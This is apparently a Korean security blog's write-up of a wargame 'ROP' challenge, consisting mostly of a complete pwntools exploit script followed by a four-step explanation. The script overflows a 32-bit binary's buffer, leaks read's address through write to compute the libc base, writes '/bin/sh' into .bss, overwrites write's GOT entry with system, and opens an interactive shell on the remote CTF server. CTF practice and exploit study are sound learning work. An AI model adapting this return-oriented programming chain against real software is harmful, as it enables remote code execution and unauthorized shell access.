보안/워게임
ROP
Seongjun_You
2021. 12. 13. 21:41
ROP는 이제 많이 해서 익숙하다.
우리가 사용할수있는 함수는 write와 read함수이다.
gadget들을 모았다.
from pwn import *
p = remote("ctf.j0n9hyun.xyz",3021)
#p = process("./rop")
context.log_level = "Debug"
elf = ELF("./rop")
libc = ELF("./libc.so.6")
pppr = 0x8048509
bss = elf.get_section_by_name(".bss").header.sh_addr
binsh_offset = next(libc.search("/bin/sh\x00"))
payload = "A"*140
payload += p32(elf.plt['write'])
payload += p32(pppr)
payload += p32(0x1)
payload += p32(elf.got['read'])
payload += p32(0x4)
payload += p32(elf.plt['read'])
payload += p32(pppr)
payload += p32(0x0)
payload += p32(bss)
payload += p32(0x8)
payload += p32(elf.plt['read'])
payload += p32(pppr)
payload += p32(0x0)
payload += p32(elf.got['write'])
payload += p32(0x4)
payload += p32(elf.plt['write'])
payload += "A"*4
payload += p32(bss)
p.send(payload)
read = u32(p.recv(4))
base = read - libc.symbols['read']
system = base + libc.symbols['system']
p.send("/bin/sh\x00")
p.send(p32(system))
p.interactive()
1. write함수로 read의 실제주소를 leak 한다.
2. libc bsae주소로 함수들의 주소를 계산한다.
3. bss영역에 /bin/sh을 넣는다.
4. bss를 인자로 system함수를 실행한다.